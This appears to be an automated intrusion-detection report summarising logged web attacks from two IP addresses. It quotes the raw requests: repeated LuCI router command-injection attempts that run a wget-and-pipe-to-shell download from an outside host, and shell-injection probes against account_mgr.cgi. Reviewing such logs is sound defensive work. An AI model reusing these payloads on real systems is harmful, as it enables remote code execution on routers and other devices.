Summary: 11 incidents discovered from 2 clients

	31.220.1.144 | 10 incidents | impact ∑: 150	attacks only
	Description: A targeted scan from Belize yesterday. A total of 10 incidents where discovered by phpids detection modules. The incident happened during unusual working hours in Belize, so it might be carried out by a hobbyist on caffeine.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 00:42:16 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 00:42:16 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 01:30:49 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 01:30:49 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 02:13:19 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 02:13:19 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 04:12:16 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 04:12:16 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 04:42:15 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 04:42:15 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 05:58:58 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 05:58:58 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 07:52:07 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 07:52:08 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 09:19:36 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 09:19:36 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 10:34:38 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 10:34:38 +0100 \x16\x03\x01 400 408 - - 15 xss csrf sqli id lfi Belize 31.220.1.144 - - Thu, 26 Dec 2024 11:27:26 +0100 GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`wget http://103.149.87.69/t -O- | sh`) HTTP/1.1 302 655 - Go-http-client/1.1 0 none Belize 31.220.1.144 - - Thu, 26 Dec 2024 11:27:26 +0100 \x16\x03\x01 400 408 - -

	147.78.47.90 | 1 incident | impact ∑: 10	attacks only
	Description: A targeted scan 6 hours ago. A total of one incident was discovered by phpids detection modules.
Impact Tags Remote-City Remote-Host Remote-Logname Remote-User Date Request Final-Status Bytes-Sent Referer User-Agent 0 none - 147.78.47.90 - - Thu, 26 Dec 2024 23:47:54 +0100 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';id;' HTTP/1.1 302 561 - Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36 0 none - 147.78.47.90 - - Thu, 26 Dec 2024 23:47:54 +0100 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';uname -a;' HTTP/1.1 302 577 - Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36 0 none - 147.78.47.90 - - Thu, 26 Dec 2024 23:47:55 +0100 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';hostname;' HTTP/1.1 302 573 - Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36 10 dt id lfi - 147.78.47.90 - - Thu, 26 Dec 2024 23:47:55 +0100 GET /cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';cat /proc/cpuinfo;' HTTP/1.1 302 595 - Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36